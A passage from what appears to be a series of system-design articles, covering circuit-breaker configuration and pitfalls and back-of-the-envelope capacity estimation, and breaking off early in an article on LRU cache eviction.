- `OnStateChange` hook for monitoring and alerting

## Configuration Guidelines

### Tuning Parameters

| Parameter             | Too Low                       | Too High                        | Guidance                                        |
| --------------------- | ----------------------------- | ------------------------------- | ----------------------------------------------- |
| **Failure threshold** | Flapping on transient errors  | Slow detection of real failures | 40-60% typical; lower for critical paths        |
| **Volume threshold**  | Trips on small samples        | Delayed detection               | 10-20 requests minimum                          |
| **Reset timeout**     | Probes during ongoing failure | Delayed recovery detection      | 5-60 seconds; consider dependency recovery time |
| **Half-open probes**  | False negatives from noise    | Load during recovery            | 3-10 probes; enough for confidence              |

### Error Classification

Not all errors should count toward the failure threshold:

| Error Type                    | Count as Failure? | Rationale                                 |
| ----------------------------- | ----------------- | ----------------------------------------- |
| **5xx Server Error**          | Yes               | Dependency has a problem                  |
| **Timeout**                   | Yes               | Dependency is slow or unresponsive        |
| **Connection refused**        | Yes               | Dependency is down                        |
| **4xx Client Error**          | No                | Request was invalid, not dependency fault |
| **Circuit breaker rejection** | No                | Would create feedback loop                |

Configure which exceptions count:

```java
// Resilience4j error classification
CircuitBreakerConfig.custom()
    .recordExceptions(IOException.class, TimeoutException.class)
    .ignoreExceptions(BusinessException.class)
    .build();
```

### Fallback Strategies

When the circuit is open, what should the caller do?

| Strategy                | Description                  | Best For                                          |
| ----------------------- | ---------------------------- | ------------------------------------------------- |
| **Cached data**         | Return stale cached response | Read paths, non-critical data                     |
| **Default value**       | Return static default        | Feature toggles, configuration                    |
| **Degraded mode**       | Partial functionality        | Non-essential features                            |
| **Fail fast**           | Return error immediately     | Critical operations where stale data is dangerous |
| **Alternative service** | Route to backup dependency   | High-availability requirements                    |

**Critical design rule:** Fallback must not depend on the same failure. If the primary database is down, falling back to a read replica on the same cluster may fail identically.

## Integration Patterns

### With Retries

Circuit breakers and retries are complementary but ordering matters:

```
Option 1: Retry outside circuit breaker
[Retry] → [Circuit Breaker] → Dependency

- Retry sees circuit breaker rejection as failure
- Circuit stays closed longer (retry exhausts before giving up)
- Risk: Retries keep hammering a failing dependency

Option 2: Circuit breaker outside retry (recommended)
[Circuit Breaker] → [Retry] → Dependency

- Circuit breaker counts retry outcomes
- Multiple retries that all fail = one circuit breaker failure
- Circuit opens faster when retries can't recover
```

**Best practice:** Place circuit breaker at the outermost layer:

```ts title="integration.ts" collapse={1-5, 25-35}
// Recommended order: Circuit Breaker → Retry → Timeout → Call
import { circuitBreaker, retry, timeout } from "resilience-lib"

async function callWithResilience<T>(fn: () => Promise<T>): Promise<T> {
  return circuitBreaker.execute(async () => {
    return retry.execute(
      async () => {
        return timeout.execute(fn, 5000)
      },
      { maxRetries: 3, backoff: "exponential" },
    )
  })
}

// The circuit breaker sees the final outcome after retries exhausted
// If retries consistently fail → circuit opens
// If retries succeed → circuit stays closed
```

### With Bulkheads

Thread pool bulkheads provide isolation; circuit breakers provide fast-fail:

```
[Bulkhead (thread pool)] → [Circuit Breaker] → Dependency
         ↓                          ↓
   Limits concurrent         Stops calling when
   calls to 20               failure rate high
```

Without both:

- Bulkhead alone: 20 threads blocked indefinitely on slow dependency
- Circuit breaker alone: All caller threads can be consumed before circuit opens

Together: Bulkhead limits blast radius; circuit breaker detects failure and stops attempting.

### With Load Shedding

During overload, combine circuit breakers with admission control:

```
[Rate Limiter] → [Circuit Breaker] → [Load Shedding] → Dependency
      ↓                  ↓                   ↓
 Cap request rate   Fast-fail on         Reject excess
                    dependency failure   at dependency
```

Circuit breakers protect against dependency failure. Rate limiters protect against caller abuse. Load shedding protects against overload. Each has a distinct role.

## Observability

### Metrics to Track

| Metric                       | Description                           | Alert Threshold              |
| ---------------------------- | ------------------------------------- | ---------------------------- |
| `circuit_state`              | Current state (closed/open/half-open) | Alert on open > N minutes    |
| `circuit_failure_rate`       | Rolling failure rate                  | Warn at 30%, critical at 50% |
| `circuit_slow_call_rate`     | Rolling slow call rate                | Depends on SLA               |
| `circuit_state_transitions`  | State change count                    | Alert on high flip-flop rate |
| `circuit_calls_in_half_open` | Probe requests attempted              | Monitor recovery testing     |
| `circuit_buffered_calls`     | Calls waiting in queue                | Alert on queue growth        |

### State Transition Alerts

```
Alert: Circuit Breaker Opened
Dependency: payment-service
Reason: Failure rate 62% (threshold 50%)
Window: 100 calls in last 60 seconds
Previous state: CLOSED for 4h32m

Action: Check payment-service health
Dashboard: https://grafana/payment-service
Runbook: https://wiki/circuit-breaker-runbook
```

**Alert on flip-flopping:** Multiple open→close transitions in short periods indicate:

- Marginal failure rate (oscillating around threshold)
- Misconfigured thresholds
- Underlying intermittent issue

### Dashboard Components

Production circuit breaker dashboards should include:

1. **State timeline:** Visual representation of state over time
2. **Failure rate graph:** Rolling failure rate vs threshold
3. **Request volume:** Calls per second through the breaker
4. **Latency percentiles:** p50, p95, p99 of successful calls
5. **Rejection rate:** Percentage of calls rejected by open circuit

## Common Pitfalls

### 1. Circuit Breaker That Never Opens

**The mistake:** Volume threshold too high or traffic too low to trigger.

**Why it happens:** Default thresholds (e.g., 20 requests) may never be reached on low-traffic paths.

**The consequence:** Circuit breaker provides no protection; might as well not exist.

**The fix:** Set volume threshold based on actual traffic. For low-traffic endpoints, use lower thresholds or time-based windows.

### 2. Half-Open Thundering Herd

**The mistake:** Many instances probe simultaneously when reset timeout expires.

**Why it happens:** All instances opened their circuits at approximately the same time.

**The consequence:** Recovering dependency hit with burst of probe requests, potentially failing again.

**The fix:** Add jitter to reset timeout. Stagger when instances enter half-open state.

```java
// Add jitter to reset timeout
Duration baseTimeout = Duration.ofSeconds(30);
Duration jitter = Duration.ofMillis(random.nextInt(5000)); // 0-5 seconds
Duration actualTimeout = baseTimeout.plus(jitter);
```

### 3. Cascading Circuit Breaker Failures

**The mistake:** Circuit breaker A protects service that depends on service B. A's circuit opens because B is slow. A returns fast failures. A's callers see "success" (fast response) and don't open their circuits.

**Why it happens:** Fast failure from an open circuit may be interpreted as "working" by callers.

**The consequence:** Upstream circuits don't open, continuing to send traffic that will fail.

**The fix:** Propagate circuit breaker state or error codes. Callers should recognize "circuit open" as a failure type that may warrant their own circuit opening.

### 4. Testing Only Sunny-Day Scenarios

**The mistake:** Circuit breaker logic untested under failure conditions.

**Why it happens:** Difficult to simulate dependency failures in integration tests.

**The consequence:** First real failure exposes misconfigurations—wrong thresholds, broken fallbacks, missing metrics.

**The fix:** Chaos testing. Inject failures in staging/production to verify circuit breakers behave as expected:

```java
// Force circuit open for testing
circuitBreaker.transitionToForcedOpenState();

// Verify fallback executes
Result result = callWithFallback();
assert result.isFromFallback();

// Verify metrics emitted
assert metrics.getCircuitOpenCount() > 0;
```

### 5. Ignoring Cold Start

**The mistake:** No special handling for application startup when circuit breaker has no history.

**Why it happens:** Cold circuit breaker may trip on first few failures before building a baseline.

**The consequence:** Transient startup failures (dependency warming up) open circuits unnecessarily.

**The fix:** Minimum call threshold before evaluating failure rate:

```java
// Require 10 calls before circuit can trip
CircuitBreakerConfig.custom()
    .minimumNumberOfCalls(10)
    .build();
```

## Conclusion

Circuit breakers convert slow failures into fast failures, preserving resources and enabling graceful degradation. The key decisions are:

1. **Detection:** Choose count-based for consistent traffic, time-based for variable loads
2. **Isolation:** Thread pool for unreliable dependencies needing timeouts, semaphore for low-latency paths
3. **Scope:** Per-host for fine-grained isolation, per-service for simplicity
4. **Half-open:** Multiple probes for statistical confidence, with shorter timeouts than normal calls

Modern implementations (Resilience4j) favor adaptive approaches over static thresholds—measuring actual latency and adjusting behavior dynamically. Regardless of implementation, the principle remains: detect failure fast, fail fast, and give dependencies time to recover.

## Appendix

### Prerequisites

- Distributed systems fundamentals (failure modes, cascading failures)
- Thread pool and concurrency concepts
- Familiarity with retry patterns and backoff strategies

### Terminology

- **CB (Circuit Breaker):** The pattern itself, or a library implementing it
- **Trip:** Transition from closed to open state
- **Reset timeout:** Duration the circuit stays open before half-open
- **Probe:** Request allowed through during half-open state to test recovery
- **Sliding window:** Rolling view of recent requests for failure rate calculation

### Summary

- Circuit breakers prevent cascading failures by failing fast when dependencies are unhealthy
- Three states: Closed (normal), Open (fast-fail), Half-Open (testing recovery)
- Count-based windows track last N calls; time-based windows track last N seconds
- Thread pool isolation enables timeouts but adds 3-9ms overhead; semaphore is faster but can't interrupt
- Per-host circuit breakers prevent one bad instance from poisoning all traffic
- Shopify's key insight: half-open probes need much shorter timeouts than normal calls
- Monitor state transitions, not just metrics—flip-flopping indicates misconfiguration
- Test circuit breakers under failure conditions; sunny-day tests don't validate resilience

### References

- Nygard, Michael. "Release It! Design and Deploy Production-Ready Software" (2007) - Original circuit breaker pattern definition
- Fowler, Martin. [Circuit Breaker](https://martinfowler.com/bliki/CircuitBreaker.html) - Pattern explanation and implementation guidance
- Netflix. [Hystrix Wiki: How It Works](https://github.com/Netflix/Hystrix/wiki/How-it-Works) - Thread pool isolation, metrics, original implementation
- Resilience4j. [CircuitBreaker Documentation](https://resilience4j.readme.io/docs/circuitbreaker) - Modern sliding window implementation
- Shopify Engineering. [Circuit Breaker Misconfigured](https://shopify.engineering/circuit-breaker-misconfigured) - Production configuration lessons
- Azure Architecture. [Circuit Breaker Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/circuit-breaker) - Per-host vs per-service guidance
- Sony. [gobreaker](https://github.com/sony/gobreaker) - Go circuit breaker implementation
- AWS Builders' Library. [Timeouts, Retries, and Backoff with Jitter](https://aws.amazon.com/builders-library/timeouts-retries-and-backoff-with-jitter/) - Integration with retry patterns

---

## Capacity Planning and Back-of-the-Envelope Estimates

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/capacity-planning-and-estimation
**Category:** System Design / System Design Fundamentals
**Description:** Capacity planning validates architectural decisions before writing code. This article covers the mental models, reference numbers, and calculation techniques that let you estimate QPS, storage, bandwidth, and server counts—transforming vague “we need to handle millions of users” into concrete infrastructure requirements.

# Capacity Planning and Back-of-the-Envelope Estimates

Capacity planning validates architectural decisions before writing code. This article covers the mental models, reference numbers, and calculation techniques that let you estimate QPS, storage, bandwidth, and server counts—transforming vague "we need to handle millions of users" into concrete infrastructure requirements.

<figure>

![Capacity estimation flows from user-level assumptions through calculations to reality-adjusted numbers. Every estimate requires explicit assumptions about peak traffic, replication, and safety margins.](./capacity-estimation-flows-from-user-level-assumptions-through-calculations-to-re.svg)

<figcaption>Capacity estimation flows from user-level assumptions through calculations to reality-adjusted numbers. Every estimate requires explicit assumptions about peak traffic, replication, and safety margins.</figcaption>
</figure>

## Abstract

Back-of-the-envelope estimates are fast, approximate calculations that validate whether a design is feasible before investing engineering effort. The goal isn't precision—it's catching order-of-magnitude errors.

**The fundamental insight:** Most capacity estimation reduces to two patterns:

1. **Rate estimation:** `Daily volume / 86,400 seconds = Average QPS`, then multiply by peak factor
2. **Storage estimation:** `Users × Actions × Size × Duration`, then multiply by replication factor

**Why "1 million = ~10 per second" matters:** 1 million requests per day equals approximately 12 requests per second (1M / 86,400 ≈ 11.6). This single conversion dominates capacity planning. 100 million DAU with 10 actions per user is 1 billion actions per day, or roughly 12,000 QPS average.

**The three numbers that drive most designs:**

- **QPS** determines server count and database architecture
- **Storage growth rate** determines when you need to shard and how much to provision
- **Bandwidth** determines CDN strategy and network costs

**Critical adjustment factors:**

- Peak traffic is 2-10× average (social apps spike during events)
- Data is replicated 3× for durability
- Plan for 2× your expected peak (N+2 redundancy per Google SRE)
- The 80/20 rule: 20% of data generates 80% of traffic (cache this)

## Reference Numbers Every Engineer Should Know

These numbers form the foundation of capacity estimates. Memorize them—or keep this article bookmarked.

### Powers of Two

| Power | Value            | Approximation  | Common Name |
| ----- | ---------------- | -------------- | ----------- |
| 2¹⁰   | 1,024            | ~1 thousand    | 1 KB        |
| 2²⁰   | 1,048,576        | ~1 million     | 1 MB        |
| 2³⁰   | 1,073,741,824    | ~1 billion     | 1 GB        |
| 2⁴⁰   | ~1.1 trillion    | ~1 trillion    | 1 TB        |
| 2⁵⁰   | ~1.1 quadrillion | ~1 quadrillion | 1 PB        |

**Practical shortcuts:**

- 1 KB ≈ 1,000 bytes (use 1,024 when precision matters)
- 1 MB ≈ 1,000 KB ≈ 1 million bytes
- 1 GB ≈ 1,000 MB ≈ 1 billion bytes
- 1 TB ≈ 1,000 GB ≈ 1 trillion bytes

### Latency Numbers (Jeff Dean's List, Updated)

| Operation                           | Latency   | Orders of Magnitude      |
| ----------------------------------- | --------- | ------------------------ |
| L1 cache reference                  | 0.5 ns    |                          |
| Branch mispredict                   | 5 ns      |                          |
| L2 cache reference                  | 7 ns      |                          |
| Mutex lock/unlock                   | 100 ns    |                          |
| Main memory reference               | 100 ns    |                          |
| Compress 1 KB with Snappy           | 10 μs     | 10,000 ns                |
| Send 1 KB over 1 Gbps network       | 10 μs     | 10,000 ns                |
| SSD random read                     | 16-150 μs | Varies by SSD generation |
| Read 1 MB sequentially from memory  | 250 μs    | 0.25 ms                  |
| Datacenter round trip               | 500 μs    | 0.5 ms                   |
| Disk seek                           | 10 ms     | 10,000 μs                |
| Read 1 MB sequentially from network | 10 ms     |                          |
| Read 1 MB sequentially from disk    | 30 ms     |                          |
| Send packet CA → Netherlands → CA   | 150 ms    |                          |

**Key takeaways:**

- Memory is 100× faster than SSD, 10,000× faster than disk seek
- Network round trips within a datacenter (~0.5 ms) dominate in-memory operations
- Cross-continent latency (~150 ms) is unavoidable without edge caching

### Time Conversions for Capacity Planning

| Period   | Seconds      | Useful For                    |
| -------- | ------------ | ----------------------------- |
| 1 minute | 60           |                               |
| 1 hour   | 3,600        |                               |
| 1 day    | 86,400       | Daily → per-second conversion |
| 1 month  | 2.6 million  | Monthly quotas                |
| 1 year   | 31.5 million | Annual storage growth         |

**The 86,400 rule:** To convert daily volume to QPS, divide by ~100,000 (actually 86,400). For mental math, dividing by 100,000 gives a close-enough estimate: 1 billion daily requests ≈ 10,000 QPS.

### Availability and Downtime

| Availability         | Downtime/Year | Downtime/Month | Downtime/Day |
| -------------------- | ------------- | -------------- | ------------ |
| 99% (two nines)      | 3.65 days     | 7.3 hours      | 14.4 minutes |
| 99.9% (three nines)  | 8.76 hours    | 43.8 minutes   | 1.44 minutes |
| 99.99% (four nines)  | 52.6 minutes  | 4.38 minutes   | 8.64 seconds |
| 99.999% (five nines) | 5.26 minutes  | 26.3 seconds   | 0.86 seconds |

**The exponential cost of nines:** Going from 99.9% to 99.95% is 2× improvement. Going from 99.95% to 99.99% is 5× improvement. Each additional nine roughly 10× the engineering investment.

### Single-Server Benchmarks

| Component           | Typical Capacity   | Notes                                      |
| ------------------- | ------------------ | ------------------------------------------ |
| Web server (NGINX)  | 10,000-100,000 QPS | Static content, keep-alive enabled         |
| Application server  | 1,000-10,000 QPS   | Depends on request complexity              |
| MySQL (read-heavy)  | 10,000-50,000 QPS  | Simple queries, indexed lookups            |
| MySQL (write-heavy) | 1,000-10,000 QPS   | Depends on durability settings             |
| Redis               | 100,000+ QPS       | In-memory, simple operations               |
| PostgreSQL          | 10,000-30,000 QPS  | Varies significantly with query complexity |

**Caveat:** These are rough benchmarks. Your mileage will vary dramatically based on query complexity, data size, hardware, and configuration. Always load test your specific workload.

### Network Bandwidth

| Medium              | Bandwidth         | Time to Transfer 1 GB |
| ------------------- | ----------------- | --------------------- |
| 1 Gbps Ethernet     | 125 MB/s          | 8 seconds             |
| 10 Gbps Ethernet    | 1.25 GB/s         | 0.8 seconds           |
| 100 Gbps Ethernet   | 12.5 GB/s         | 0.08 seconds          |
| SSD sequential read | 500 MB/s - 7 GB/s | 0.14-2 seconds        |
| HDD sequential read | 100-200 MB/s      | 5-10 seconds          |

## Core Estimation Techniques

### QPS (Queries Per Second) Estimation

**Formula:**

```
Average QPS = (Daily Active Users × Actions per User) / 86,400
Peak QPS = Average QPS × Peak Multiplier
```

**Example: Social media feed service**

Assumptions:

- 500 million DAU
- Each user refreshes feed 10 times/day
- Peak traffic is 3× average

```
Daily requests = 500M × 10 = 5 billion
Average QPS = 5B / 86,400 ≈ 58,000 QPS
Peak QPS = 58,000 × 3 ≈ 174,000 QPS
```

**Read vs. Write ratio matters:** Most systems are read-heavy (10:1 to 100:1 read:write). Separate these:

```
Read QPS = 174,000 × 0.9 ≈ 157,000
Write QPS = 174,000 × 0.1 ≈ 17,400
```

This distinction drives architecture: reads can be scaled with replicas and caching; writes require careful partitioning.

### Storage Estimation

**Formula:**

```
Daily Storage = Users × Actions × Average Size
Annual Storage = Daily Storage × 365 × Replication Factor
```

**Example: Photo sharing service**

Assumptions:

- 500 million users
- 2 photos uploaded per day per user (10% of users active)
- Average photo size: 2 MB
- Replication factor: 3

```
Daily uploads = 500M × 0.1 × 2 = 100 million photos
Daily storage = 100M × 2 MB = 200 TB/day
Annual storage = 200 TB × 365 × 3 = 219 PB/year
```

**Include metadata:** Photos have thumbnails, EXIF data, and database records. Add 10-20% overhead.

### Bandwidth Estimation

**Formula:**

```
Ingress Bandwidth = Write QPS × Request Size
Egress Bandwidth = Read QPS × Response Size
```

**Example: Video streaming service**

Assumptions:

- 10 million concurrent viewers
- Average bitrate: 3 Mbps

```
Egress Bandwidth = 10M × 3 Mbps = 30 Tbps
```

This is why Netflix runs their own CDN (Open Connect) and peers directly with ISPs—30 Tbps cannot traverse the public internet cost-effectively.

### Server Count Estimation

**Formula:**

```
Servers Needed = Peak QPS / QPS-per-Server × Redundancy Factor
```

**Example: API service**

Assumptions:

- Peak QPS: 100,000
- Each server handles 5,000 QPS (application logic complexity)
- N+2 redundancy (can lose 2 servers at peak)

```
Minimum servers = 100,000 / 5,000 = 20
With N+2 redundancy = 20 + 2 = 22 servers
```

**Google SRE's N+2 rule:** Provision to handle simultaneous planned and unplanned outages. If you need N servers at peak, run N+2.

### Little's Law for Concurrency

**Formula:**

```
L = λ × W

L = Average number of items in system (concurrent requests)
λ = Arrival rate (requests per second)
W = Average time in system (latency)
```

**Example: Database connection pool sizing**

Assumptions:

- 10,000 QPS to database
- Average query time: 5 ms

```
Concurrent connections = 10,000 × 0.005 = 50 connections
```

With safety margin (2×): 100 connections per application server. If you have 10 application servers, each needs a pool of ~10 connections, totaling 100 to the database.

## Worked Examples

### Example 1: Twitter-like Service

**Requirements:**

- 500 million monthly active users
- 50 million DAU
- Users post 2 tweets/day, read 100 tweets/day
- Average tweet: 500 bytes (including metadata)
- 20% of tweets include media (average 200 KB)

**QPS Calculation:**

```
Write (tweets posted):
  Daily: 50M × 2 = 100M tweets
  Average: 100M / 86,400 ≈ 1,157 QPS
  Peak (3×): ~3,500 QPS

Read (timeline loads):
  Daily: 50M × 100 = 5B read requests
  Average: 5B / 86,400 ≈ 58,000 QPS
  Peak (3×): ~174,000 QPS

Read:Write ratio ≈ 50:1
```

**Storage Calculation:**

```
Tweet text per day:
  100M × 500 bytes = 50 GB/day

Media per day:
  100M × 0.2 × 200 KB = 4 TB/day

Annual (with 3× replication):
  Text: 50 GB × 365 × 3 = 55 TB/year
  Media: 4 TB × 365 × 3 = 4.4 PB/year
```

**Bandwidth Calculation:**

```
Ingress (uploads):
  Media: 4 TB/day = 370 Mbps average
  Peak: ~1.1 Gbps

Egress (reads):
  Assuming 10% of reads include media:
  Text: 174,000 × 500 bytes = 87 MB/s
  Media: 17,400 × 200 KB = 3.5 GB/s
  Total peak: ~28 Gbps
```

### Example 2: URL Shortener

**Requirements:**

- 100 million new URLs per month
- Read:Write ratio of 100:1
- URLs stored for 5 years

**QPS Calculation:**

```
Write QPS:
  100M / (30 × 86,400) ≈ 39 QPS average
  Peak (3×): ~120 QPS

Read QPS:
  39 × 100 = 3,900 QPS average
  Peak (3×): ~12,000 QPS
```

**Storage Calculation:**

```
URL entry: ~500 bytes (short code + long URL + metadata)
Per month: 100M × 500 bytes = 50 GB
5 years: 50 GB × 60 months × 3 (replication) = 9 TB total
```

**Key insight:** This is a small-scale system. A single well-provisioned PostgreSQL instance can handle this indefinitely. The main challenge is key generation (ensuring short codes don't collide), not capacity.

### Example 3: Video Streaming Platform

**Requirements:**

- 200 million monthly active users
- 100 million daily active users
- Average watch time: 60 minutes/day
- Average bitrate: 4 Mbps
- 500,000 videos uploaded per day
- Average video length: 5 minutes

**Concurrent Viewers (Peak):**

```
At any moment, assume 20% of DAU is watching:
  100M × 0.2 = 20 million concurrent viewers

Peak (major event): 2× = 40 million concurrent
```

**Bandwidth Calculation:**

```
Egress: 40M × 4 Mbps = 160 Tbps

This is why CDNs exist. Netflix's Open Connect serves
>95% of traffic from edge caches embedded in ISPs.
```

**Storage Calculation:**

```
Raw upload per day:
  500K videos × 5 min × 4 Mbps = 750 TB/day raw

Transcoded (10 quality levels):
  750 TB × 10 = 7.5 PB/day

Annual: 7.5 PB × 365 = 2.7 EB/year

Note: This assumes no deduplication. In practice,
aggressive deduplication and hot/cold tiering reduce this significantly.
```

## Design Choices: When Estimates Drive Architecture

### Single Server vs. Distributed

| Factor                   | Single Server Threshold | When to Distribute         |
| ------------------------ | ----------------------- | -------------------------- |
| QPS                      | < 10,000                | > 10,000 (add replicas)    |
| Storage                  | < 1 TB                  | > 1 TB (consider sharding) |
| Write QPS                | < 5,000                 | > 5,000 (shard writes)     |
| Availability requirement | < 99.9%                 | > 99.9% (add redundancy)   |

**Real-world example:** WhatsApp handled 2+ million connections per server using Erlang on FreeBSD. The C10K problem (handling 10,000 concurrent connections) was solved decades ago; modern event-driven servers handle millions.

### Caching Strategy from Estimates

**The 80/20 heuristic:** If 20% of your data serves 80% of requests, cache that 20%.

```
Cache size = Hot data × Working set
           = Total data × 0.2 × Replication in cache

Example: 10 TB database, cache size = 10 TB × 0.2 = 2 TB
```

**Cache hit rate impact:**

```
With 80% cache hit rate:
  Database QPS = Total QPS × 0.2 = 20% of original load

Going from 0% → 80% cache hit rate gives 5× database headroom.
```

### Sharding Trigger Points

| Signal               | Threshold          | Action                     |
| -------------------- | ------------------ | -------------------------- |
| Single table size    | > 100 million rows | Consider partitioning      |
| Single database size | > 1 TB             | Consider sharding          |
| Write QPS            | > 5,000            | Shard by write key         |
| Replication lag      | > 1 second         | Shard to reduce write load |

**Sharding multiplies complexity.** Delay it until estimates prove it's necessary. Instagram ran on PostgreSQL for years with careful indexing before sharding.

## Common Pitfalls

### 1. Forgetting Peak Traffic

**The mistake:** Designing for average traffic.

**Why it happens:** Averages are easier to calculate and seem reasonable.

**The consequence:** System falls over during peak hours, product launches, or viral events. Twitter's "Fail Whale" was a capacity planning failure.

**The fix:** Always multiply average by peak factor (2-3× for normal systems, 10×+ for event-driven traffic). Design for peak, not average.

### 2. Ignoring Replication and Redundancy

**The mistake:** Estimating raw storage without replication.

**Why it happens:** Replication feels like "overhead" rather than a requirement.

**The consequence:** You provision 1/3 of needed storage. Or you discover at failure time that you have no redundancy.

**The fix:** Multiply storage by replication factor (typically 3). Add N+2 to server counts.

### 3. Conflating Throughput and Latency

**The mistake:** Assuming high throughput means low latency.

**Why it happens:** They feel related—faster systems handle more requests.

**The consequence:** A system might handle 100,000 QPS but with 500ms latency. Users experience poor performance despite "high capacity."

**The fix:** Estimate both independently. Use Little's Law: if you need 100 ms latency at 10,000 QPS, you need capacity for 1,000 concurrent requests.

### 4. Linear Extrapolation of Growth

**The mistake:** Assuming traffic will grow linearly.

**Why it happens:** Linear projections are simple.

**The consequence:** Exponential growth (common in successful products) exhausts capacity faster than expected.

**The fix:** Model growth curves explicitly. For successful products, expect 2-3× year-over-year growth. Include "hockey stick" scenarios for viral features.

### 5. Precision Theater

**The mistake:** Calculating estimates to 4 significant figures.

**Why it happens:** More precision feels more accurate.

**The consequence:** False confidence. Back-of-envelope estimates are accurate to perhaps 2-5×. Claiming "we need exactly 147 servers" implies false precision.

**The fix:** Round aggressively. Use powers of 10. "We need 100-200 servers" is more honest than "147 servers."

## Communicating Estimates

### Document Assumptions

Every estimate requires explicit assumptions. Without them, numbers are meaningless.

**Template:**

```markdown
## Capacity Estimate: [System Name]

### Assumptions

- DAU: 50 million
- Actions per user per day: 10
- Average request size: 2 KB
- Average response size: 10 KB
- Peak multiplier: 3×
- Read:Write ratio: 10:1
- Replication factor: 3

### Derived Estimates

- Average QPS: [calculation]
- Peak QPS: [calculation]
- Storage/year: [calculation]
- Bandwidth: [calculation]

### Confidence Level

- High confidence: [which estimates]
- Medium confidence: [which estimates]
- Requires validation: [which estimates]
```

### Present Ranges, Not Points

Good: "We need 50-100 servers to handle peak load."
Bad: "We need 73 servers."

Ranges communicate uncertainty honestly. Point estimates imply false confidence.

### Update Estimates with Reality

Estimates are hypotheses. Validate with:

- Load testing before launch
- Production metrics after launch
- Regular capacity reviews (quarterly at minimum)

When estimates diverge from reality by >2×, investigate why. Either the assumptions changed or the model is wrong.

## Conclusion

Capacity planning is hypothesis generation. You're making educated guesses about future load, then validating those guesses with progressively more accurate data.

The core technique is simple: convert user-level assumptions (DAU, actions, data sizes) into system-level metrics (QPS, storage, bandwidth, server count). Apply reality adjustments (peak multipliers, replication factors, redundancy). Document assumptions so others can validate your reasoning.

The numbers in this article are starting points. Every system is different. A URL shortener and a video platform have radically different capacity profiles even at the same user count. The skill is knowing which numbers matter for your specific system and how to derive them from first principles.

Start with rough estimates. Refine with load testing. Validate with production metrics. Update continuously as the system evolves.

## Appendix

### Prerequisites

- Basic arithmetic and comfort with powers of two
- Understanding of distributed system components (databases, caches, load balancers)
- Familiarity with read/write patterns in web applications

### Terminology

- **QPS (Queries Per Second):** Request rate metric; used interchangeably with RPS (Requests Per Second) for API contexts
- **DAU (Daily Active Users):** Users who interact with the system at least once per day
- **MAU (Monthly Active Users):** Users who interact at least once per month; typically 2-3× DAU
- **Peak multiplier:** Ratio of peak traffic to average traffic
- **Replication factor:** Number of copies of data stored for durability (typically 3)
- **N+2 redundancy:** Provisioning N servers plus 2 spares to handle simultaneous failures
- **Little's Law:** L = λW; relates concurrent items in a system to arrival rate and processing time

### Summary

- Convert daily volumes to QPS using the 86,400 rule (or approximate with 100,000)
- Memorize Jeff Dean's latency numbers—memory vs. disk vs. network shapes every design
- Always apply peak multipliers (2-3×) and replication factors (3×)
- Use Little's Law for connection pool and concurrency estimation
- Round aggressively—back-of-envelope estimates are accurate to 2-5×
- Document assumptions explicitly; estimates without assumptions are meaningless
- Validate estimates with load testing before launch and production metrics after

### References

- [Google SRE Book: Capacity Planning](https://sre.google/sre-book/service-best-practices/) - N+2 redundancy, demand forecasting
- [Google SRE: Best Practices for Capacity Management (PDF)](https://sre.google/static/pdf/login_winter20_10_torres.pdf) - Intent-based capacity planning
- [Latency Numbers Every Programmer Should Know (Interactive)](https://colin-scott.github.io/personal_website/research/interactive_latency.html) - Updated Jeff Dean numbers
- [Jeff Dean's Original Numbers](https://brenocon.com/dean_perf.html) - "Numbers Everyone Should Know" talk
- [Little's Law Applied to Web Applications](https://blog.danslimmon.com/2022/06/07/using-littles-law-to-scale-applications/) - Practical application for capacity planning
- [ByteByteGo: Back-of-the-Envelope Estimation](https://bytebytego.com/courses/system-design-interview/back-of-the-envelope-estimation) - System design interview context
- [C10K Problem (Wikipedia)](https://en.wikipedia.org/wiki/C10k_problem) - Historical context on connection handling
- [The Secret to 10 Million Concurrent Connections](http://highscalability.com/blog/2013/5/13/the-secret-to-10-million-concurrent-connections-the-kernel-i.html) - C10M problem and solutions
- [Uptime Calculator](https://uptime.is/) - Availability nines to downtime conversion
- [PlanetScale: One Million QPS with MySQL](https://planetscale.com/blog/one-million-queries-per-second-with-mysql) - Database throughput benchmarks

---

## LRU Cache Design: Eviction Strategies and Trade-offs

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/lru-cache-design
**Category:** System Design / System Design Building Blocks
**Description:** Learn the classic LRU cache implementation, understand its limitations, and explore modern alternatives like LRU-K, 2Q, ARC, and SIEVE for building high-performance caching systems.

# LRU Cache Design: Eviction Strategies and Trade-offs

Learn the classic LRU cache implementation, understand its limitations, and explore modern alternatives like LRU-K, 2Q, ARC, and SIEVE for building high-performance caching systems.

<figure>

![Evolution of cache replacement algorithms from basic LRU to modern alternatives](./evolution-of-cache-replacement-algorithms-from-basic-lru-to-modern-alternatives.svg)

<figcaption>Evolution of cache replacement algorithms from basic LRU to modern alternatives</figcaption>

</figure>

## Abstract

Cache eviction is fundamentally a prediction problem: given limited memory, which items should be kept to maximize future hits? The core insight is that different access patterns require different prediction strategies.

**The Trade-off Space:**

| Strategy         | Predicts Future Access By | Vulnerable To          | Best For          |
| ---------------- | ------------------------- | ---------------------- | ----------------- |
| Recency (LRU)    | Recent access             | Sequential scans       | Temporal locality |
| Frequency (LFU)  | Access count              | One-time popular items | Stable popularity |
| Hybrid (ARC, 2Q) | Both signals              | Complexity overhead    | Mixed workloads   |
| Lazy (SIEVE)     | Visited bit + FIFO        | Very short TTLs        | Web caches        |

**Key Design Decisions:**

1. **Recency vs. Frequency**: LRU assumes "recently used = soon needed." This fails catastrophically during sequential scans. Solutions: filter first-time accesses (2Q), adapt dynamically (ARC), or use lazy promotion (SIEVE).

2. **Exact vs. Approximated**: True LRU requires O(1) linked list operations on every access. Approximated LRU (Redis, Linux) samples random keys, trading accuracy for throughput—often 95%+ as effective with better scalability.

3. **Memory Overhead vs. Accuracy**: Ghost lists (ARC) and history tracking (LRU-K) improve hit rates but consume memory. SIEVE achieves comparable results with just one bit per entry.

**Mental Model**: Think of cache eviction as a bouncer at a club with limited capacity. LRU removes whoever hasn't been seen longest. 2Q makes newcomers wait in a probationary area. ARC keeps notes on who was wrongly kicked out and learns from mistakes. SIEVE marks regulars with a wristband and only evicts unmarked patrons.

## The Classic: Understanding LRU

Least Recently Used (LRU) is a cache eviction policy based on a single assumption: **recently accessed data is likely to be accessed again soon**. This principle, called **temporal locality**, holds for many workloads—web browsing, file system access, database queries—making LRU the default choice for general-purpose caching.

**Why LRU Works:**

